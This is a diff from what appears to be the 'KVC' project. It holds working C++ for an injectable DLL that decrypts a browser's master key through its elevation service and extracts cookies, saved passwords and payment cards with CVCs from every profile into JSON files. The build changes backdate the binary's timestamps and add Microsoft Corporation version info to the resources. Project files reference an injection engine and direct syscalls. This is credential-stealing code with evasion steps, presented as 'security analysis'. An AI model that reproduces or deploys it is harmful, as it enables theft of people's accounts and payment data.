// Open database with nolock parameter for live extraction without file locking
|
||||
sqlite3* db = nullptr;
|
||||
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
|
||||
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
|
||||
|
||||
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
|
||||
{
|
||||
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
|
||||
": " + (db ? sqlite3_errmsg(db) : "N/A"));
|
||||
if (db) sqlite3_close_v2(db);
|
||||
return;
|
||||
}
|
||||
|
||||
// Prepare SQL query for data extraction
|
||||
sqlite3_stmt* stmt = nullptr;
|
||||
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
|
||||
{
|
||||
sqlite3_close_v2(db);
|
||||
return;
|
||||
}
|
||||
|
||||
// Execute pre-query setup if needed (e.g., for payment card CVCs)
|
||||
void* preQueryState = nullptr;
|
||||
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
|
||||
if (m_config.preQuerySetup)
|
||||
{
|
||||
cvcMap = m_config.preQuerySetup(db);
|
||||
preQueryState = &cvcMap;
|
||||
}
|
||||
|
||||
// Extract and format data entries using custom formatters
|
||||
std::vector<std::string> jsonEntries;
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW)
|
||||
{
|
||||
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
|
||||
{
|
||||
jsonEntries.push_back(*jsonEntry);
|
||||
}
|
||||
}
|
||||
|
||||
sqlite3_finalize(stmt);
|
||||
sqlite3_close_v2(db);
|
||||
|
||||
// Write extraction results to structured JSON output file
|
||||
if (!jsonEntries.empty())
|
||||
{
|
||||
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
|
||||
(m_config.outputFileName + ".json");
|
||||
|
||||
std::error_code ec;
|
||||
fs::create_directories(outFilePath.parent_path(), ec);
|
||||
if (ec)
|
||||
{
|
||||
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
|
||||
return;
|
||||
}
|
||||
|
||||
std::ofstream out(outFilePath, std::ios::trunc);
|
||||
if (!out) return;
|
||||
|
||||
out << "[\n";
|
||||
for (size_t i = 0; i < jsonEntries.size(); ++i)
|
||||
{
|
||||
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
|
||||
}
|
||||
out << "\n]\n";
|
||||
|
||||
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
|
||||
" extracted to " + StringUtils::path_to_string(outFilePath));
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
fs::path m_profilePath;
|
||||
const Data::ExtractionConfig& m_config;
|
||||
const std::vector<uint8_t>& m_aesKey;
|
||||
PipeLogger& m_logger;
|
||||
fs::path m_baseOutputPath;
|
||||
std::string m_browserName;
|
||||
};
|
||||
|
||||
// Main orchestrator for browser security analysis operations
|
||||
class SecurityOrchestrator
|
||||
{
|
||||
public:
|
||||
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
|
||||
{
|
||||
if (!m_logger.isValid())
|
||||
{
|
||||
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
|
||||
}
|
||||
ReadPipeParameters();
|
||||
}
|
||||
|
||||
// Execute complete browser security analysis workflow
|
||||
void Run()
|
||||
{
|
||||
BrowserManager browserManager;
|
||||
const auto& browserConfig = browserManager.getConfig();
|
||||
m_logger.Log("[*] Security analysis process started for " + browserConfig.name);
|
||||
|
||||
// Decrypt master key using COM elevation service
|
||||
std::vector<uint8_t> aesKey;
|
||||
{
|
||||
MasterKeyDecryptor keyDecryptor(m_logger);
|
||||
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
|
||||
aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath);
|
||||
}
|
||||
m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey));
|
||||
|
||||
// Discover and process all browser profiles systematically
|
||||
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger);
|
||||
auto profilePaths = enumerator.FindProfiles();
|
||||
|
||||
for (const auto& profilePath : profilePaths)
|
||||
{
|
||||
m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
|
||||
|
||||
// Extract each data type (cookies, passwords, payments) using specialized handlers
|
||||
for (const auto& dataConfig : Data::GetExtractionConfigs())
|
||||
{
|
||||
DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name);
|
||||
extractor.Extract();
|
||||
}
|
||||
}
|
||||
|
||||
m_logger.Log("[*] All profiles processed. Security analysis process finished.");
|
||||
}
|
||||
|
||||
private:
|
||||
// Read configuration parameters from orchestrator via named pipe
|
||||
void ReadPipeParameters()
|
||||
{
|
||||
char buffer[MAX_PATH + 1] = {0};
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
// Read verbose flag configuration
|
||||
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
|
||||
|
||||
// Read output path configuration
|
||||
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
|
||||
buffer[bytesRead] = '\0';
|
||||
m_outputPath = buffer;
|
||||
}
|
||||
|
||||
PipeLogger m_logger;
|
||||
fs::path m_outputPath;
|
||||
};
|
||||
}
|
||||
|
||||
// Thread parameters for security module worker thread
|
||||
struct ModuleThreadParams
|
||||
{
|
||||
HMODULE hModule_dll;
|
||||
LPVOID lpPipeNamePointerFromOrchestrator;
|
||||
};
|
||||
|
||||
// Main worker thread for browser security analysis operations
|
||||
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
|
||||
{
|
||||
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
|
||||
|
||||
try
|
||||
{
|
||||
SecurityComponents::SecurityOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
||||
orchestrator.Run();
|
||||
}
|
||||
catch (const std::exception& e)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Attempt to log error through pipe if communication channel is available
|
||||
SecurityComponents::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
||||
if (errorLogger.isValid())
|
||||
{
|
||||
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
|
||||
}
|
||||
}
|
||||
catch (...) {} // Failsafe error handling if logging subsystem fails
|
||||
}
|
||||
|
||||
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Security module entry point - initializes browser security analysis operations
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
||||
{
|
||||
if (reason == DLL_PROCESS_ATTACH)
|
||||
{
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
|
||||
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
|
||||
if (!params) return TRUE;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
|
||||
if (hThread)
|
||||
{
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
else
|
||||
{
|
||||
delete params;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
BIN
kvc/kvc_crypt.rc
BIN
kvc/kvc_crypt.rc
Binary file not shown.
@@ -7,7 +7,7 @@
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<ProjectGuid>{87654321-4321-4321-4321-123456789DEF}</ProjectGuid>
|
||||
<RootNamespace>chromedecrypt</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
@@ -17,9 +17,9 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@@ -33,6 +33,7 @@
|
||||
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
|
||||
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>kvc_crypt</TargetName>
|
||||
<UseStructuredOutput>false</UseStructuredOutput>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
@@ -45,8 +46,10 @@
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<OmitFramePointers>true</OmitFramePointers>
|
||||
<StringPooling>true</StringPooling>
|
||||
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Os /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreSpecificDefaultLibraries>ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
@@ -56,33 +59,39 @@
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>$(ProjectDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF=10 /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP /INCREMENTAL:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<ModuleDefinitionFile>kvc_crypt.def</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/NODEFAULTLIB:msvcprt.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
|
||||
<StripPrivateSymbols>true</StripPrivateSymbols>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<IgnoreSpecificDefaultLibraries>msvcprt.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
|
||||
</PostBuildEvent>
|
||||
<ResourceCompile>
|
||||
<!-- Fixed: Removed NO_RESOURCES to enable Microsoft Corporation version info -->
|
||||
<Culture>0x0409</Culture>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="kvc_crypt.cpp" />
|
||||
<ClCompile Include="CryptCore.cpp" />
|
||||
<ClCompile Include="BrowserCrypto.cpp" />
|
||||
<ClCompile Include="DataExtraction.cpp" />
|
||||
<ClCompile Include="CommunicationModule.cpp" />
|
||||
<ClCompile Include="SelfLoader.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<!-- Fixed: Enabled resource.h include -->
|
||||
<ClInclude Include="CryptCore.h" />
|
||||
<ClInclude Include="BrowserCrypto.h" />
|
||||
<ClInclude Include="DataExtraction.h" />
|
||||
<ClInclude Include="CommunicationModule.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SelfLoader.h" />
|
||||
<ClInclude Include="winsqlite3.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<!-- Fixed: Added resource file for Microsoft Corporation version info -->
|
||||
<ResourceCompile Include="kvc_crypt.rc" />
|
||||
</ItemGroup>
|
||||
<!-- DODAJ TARGET DO CZYSZCZENIA ZASOBÓW -->
|
||||
<Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
|
||||
<Exec Command="if exist "@(FinalOutputPath)" echo Building minimal DLL..." />
|
||||
</Target>
|
||||
|
||||
4
kvc/kvc_crypt.vcxproj.user
Normal file
4
kvc/kvc_crypt.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -7,7 +7,7 @@
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<ProjectGuid>{12345678-1234-1234-1234-123456789ABC}</ProjectGuid>
|
||||
<RootNamespace>kvc_pass</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
@@ -35,7 +35,7 @@
|
||||
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>kvc_pass</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
@@ -45,8 +45,9 @@
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
@@ -54,29 +55,37 @@
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>Rpcrt4.lib;version.lib;shell32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
|
||||
</PostBuildEvent>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0409</Culture>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="BrowserOrchestrator.cpp" />
|
||||
<ClCompile Include="OrchestratorCore.cpp" />
|
||||
<ClCompile Include="BrowserProcessManager.cpp" />
|
||||
<ClCompile Include="InjectionEngine.cpp" />
|
||||
<ClCompile Include="CommunicationLayer.cpp" />
|
||||
<ClCompile Include="syscalls.cpp" />
|
||||
<ClCompile Include="EdgeDPAPI.cpp" />
|
||||
<ClCompile Include="BannerSystem.cpp" />
|
||||
<ClCompile Include="BrowserHelp.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="OrchestratorCore.h" />
|
||||
<ClInclude Include="BrowserProcessManager.h" />
|
||||
<ClInclude Include="InjectionEngine.h" />
|
||||
<ClInclude Include="CommunicationLayer.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="syscalls.h" />
|
||||
<ClInclude Include="EdgeDPAPI.h" />
|
||||
<ClInclude Include="BannerSystem.h" />
|
||||
<ClInclude Include="BrowserHelp.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="AbiTramp.asm" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<!-- Fixed: Use kvc.ico instead of PassExtractor.ico -->
|
||||
<Image Include="ICON\kvc.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -4,7 +4,8 @@
|
||||
|
||||
// KVC Main Application Resources (100-199)
|
||||
#define IDI_ICON1 101
|
||||
#define IDR_MAINICON 102 // Icon data containing embedded driver
|
||||
#define IDR_MAINICON 102 // Icon data containing embedded resources
|
||||
|
||||
|
||||
// PassExtractor/kvc_pass Resources (200-299)
|
||||
#define IDI_PASSEXTRACTOR_ICON 201
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// syscalls.cpp
|
||||
#include "syscalls.h"
|
||||
#include <vector>
|
||||
|
||||
Reference in New Issue
Block a user